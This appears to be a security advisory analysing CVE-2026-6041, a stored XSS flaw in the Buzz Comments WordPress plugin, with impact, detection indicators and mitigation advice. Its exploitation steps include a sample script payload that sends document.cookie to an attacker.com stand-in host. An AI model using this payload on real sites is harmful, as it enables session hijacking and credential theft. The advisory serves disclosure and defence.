CVE-2026-6041: 
WordPress vulnerability analysis and mitigation

CVE-2026-6041 is a Stored Cross-Site Scripting (XSS) vulnerability in the Buzz Comments plugin for WordPress, affecting all versions up to and including 0.9.4. The flaw resides in the 'Custom Buzz Avatar' (buzz_comments_avatar_image) setting, where insufficient input sanitization and output escaping allow authenticated attackers with Administrator-level access to inject arbitrary web scripts. The vulnerability was published on April 22, 2026, and assigned a CVSS v3.1 base score of 4.4 (Medium) (GitHub Advisory, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is insufficient input sanitization and output escaping applied to the buzz_comments_avatar_image setting in the plugin's admin interface. Specifically, the vulnerable code paths are located in admin.tpl.php (line 36) and buzzComments_class.php (line 187), where user-supplied avatar image values are stored and later rendered without proper escaping (GitHub Advisory). An authenticated attacker with Administrator-level privileges can save a malicious script payload in the Custom Buzz Avatar setting, which then executes in the browser of any user who visits the plugin settings page (Wordfence).

Successful exploitation allows an authenticated administrator to persistently inject malicious JavaScript that executes in the context of any user accessing the plugin settings page. This can result in session hijacking, credential theft, unauthorized modification of plugin settings, or further compromise of the WordPress administrative interface. The confidentiality and integrity impacts are rated Low, and there is no direct availability impact; however, the changed scope means the injected scripts can affect users beyond the attacker's own session (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.008–0.011%, placing it in the 2nd percentile for exploitation likelihood within the next 30 days. Exploitation requires Administrator-level authentication, which significantly limits the attack surface. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Wordfence).

1. Authentication: Log in to the WordPress admin panel with an account holding Administrator-level privileges or higher.
2. Navigate to plugin settings: Access the Buzz Comments plugin settings page within the WordPress dashboard.
3. Inject malicious payload: In the 'Custom Buzz Avatar' (buzz_comments_avatar_image) field, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent image tag-based payload.
4. Save settings: Submit the form to persist the malicious script in the WordPress database via the vulnerable buzzComments_class.php handler.
5. Trigger execution: The stored payload executes automatically in the browser of any user (including other administrators) who visits the plugin settings page, enabling session token theft or further actions (GitHub Advisory, Wordfence).

• Logs: WordPress admin audit logs showing unexpected changes to the Buzz Comments plugin settings (buzz_comments_avatar_image option) by an administrator account, particularly outside normal business hours.
• Database: The wp_options table entry for buzz_comments_avatar_image containing JavaScript tags (<script>, onerror=, onload=) or encoded equivalents.
• Network: Outbound requests from administrator browsers to unknown external domains shortly after accessing the plugin settings page, potentially carrying cookie or session data.
• File System: No direct file-system artifacts expected, as the payload is stored in the database rather than written to disk.

Users should update the Buzz Comments plugin to a version newer than 0.9.4 as soon as a patched release becomes available; patch details are tracked under GitHub Advisory GHSA-g34v-p67g-pv7m (GitHub Advisory). As an interim measure, restrict Administrator-level access to trusted users only and monitor the plugin settings page for unauthorized changes. If an update cannot be applied immediately, consider temporarily disabling the Buzz Comments plugin to eliminate the attack surface (Wordfence).